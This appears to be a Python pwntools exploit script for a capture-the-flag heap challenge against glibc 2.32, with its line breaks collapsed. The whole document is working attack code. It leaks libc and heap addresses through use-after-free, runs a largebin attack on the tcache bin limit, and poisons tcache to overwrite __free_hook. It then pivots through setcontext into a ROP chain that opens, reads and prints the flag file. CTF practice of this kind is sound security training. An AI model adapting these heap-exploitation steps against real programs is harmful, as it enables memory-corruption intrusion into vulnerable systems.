from pwn import *from LibcSearcher import *io = process("./pwn" ) context.log_level = "debug" context.terminal = ['tmux' ,'splitw' ,'-h' ] libc = ELF("/home/chen/glibc-all-in-one/libs/2.32-0ubuntu3.2_amd64/libc-2.32.so" ) context.arch = "amd64" elf = ELF("./pwn" ) def debug (): gdb.attach(io) pause() def add (index,size ): io.recvuntil("5. Exit" ) io.sendline(b'1' ) io.recvuntil("Index: " ) io.sendline(str (index)) io.recvuntil("Size: " ) io.sendline(str (size)) def delete (index ): io.recvuntil("5. Exit" ) io.sendline(b'2' ) io.recvuntil("Index: " ) io.sendline(str (index)) def edit (index,content ): io.recvuntil("5. Exit" ) io.sendline(b'3' ) io.recvuntil("Index: " ) io.sendline(str (index)) io.recvuntil("Content: " ) io.send(content) def show (index ): io.recvuntil("5. Exit" ) io.sendline(b'4' ) io.recvuntil("Index: " ) io.sendline(str (index)) add(0 ,0x800 ) add(1 ,0x900 ) add(2 ,0x7f0 ) delete(0 ) edit(0 ,b'\x01' ) show(0 ) main_arena_addr = u64(io.recvuntil("\x7f" )[-6 :].ljust(8 ,b'\x00' ))-0x1 -96 libc_addr = main_arena_addr - (libc.sym['__malloc_hook' ]+0x10 ) success("libc_addr :" +hex (libc_addr)) free_hook = libc_addr + libc.sym['__free_hook' ] edit(0 ,b'\x00' ) add(3 ,0x900 ) edit(0 ,cyclic(0x10 )) show(0 ) heap_addr = u64(io.recvuntil("\x0a" ,drop = True )[-6 :].ljust(8 ,b'\x00' ))-0x290 success("heap_addr :" +hex (heap_addr)) mp_tcache_bins = libc_addr + 0x1e32d0 success("mp_tcache_bins :" +hex (mp_tcache_bins)) payload = p64(0 )+p64(mp_tcache_bins-0x10 )+p64(0 )+p64(mp_tcache_bins-0x20 ) edit(0 ,payload) delete(2 ) add(4 ,0x900 ) add(5 ,0x900 ) add(6 ,0x900 ) add(7 ,0x900 ) delete(5 ) delete(6 ) key = ( heap_addr + 0x3000 ) >>12 success("key :" +hex (key)) edit(6 ,p64(key^(free_hook))) add(8 ,0x900 ) add(9 ,0x900 ) ret_addr = libc_addr + 0x26699 rdi_addr = libc_addr + 0x2858f rsi_addr = libc_addr + 0x2ac3f rdx_r12_addr = libc_addr + 0x114161 rax_addr = libc_addr + 0x45580 setcontext_addr = libc_addr + libc.sym['setcontext' ]+61 gadget_addr = libc_addr + 0x000000000014b760 chunk8_addr = heap_addr +0x36e0 open_addr = libc_addr + libc.sym['open' ] read_addr = libc_addr + libc.sym['read' ] write_addr = libc_addr + libc.sym['write' ] success(hex (chunk8_addr)) flag_addr = chunk8_addr + 0x10 payload = b'./flag\x00\x00' +p64(chunk8_addr+0x10 )+cyclic(0x10 )+p64(setcontext_addr) payload = payload.ljust(0xa0 ,b'\x00' ) + p64(chunk8_addr+0x10 +0xa8 )+p64(ret_addr) payload += p64(rdi_addr) + p64(flag_addr) + p64(rsi_addr) + p64(0 ) + p64(open_addr) payload += p64(rdi_addr) + p64(3 ) + p64(rsi_addr) + p64(flag_addr) + p64(rdx_r12_addr) + p64(0x50 ) + p64(0 ) + p64(read_addr) payload += p64(rdi_addr) + p64(1 ) + p64(rsi_addr) + p64(flag_addr) + p64(rdx_r12_addr) + p64(0x50 ) + p64(0 ) + p64(write_addr) edit(8 ,payload) edit(9 ,p64(gadget_addr)) delete(8 ) io.recv()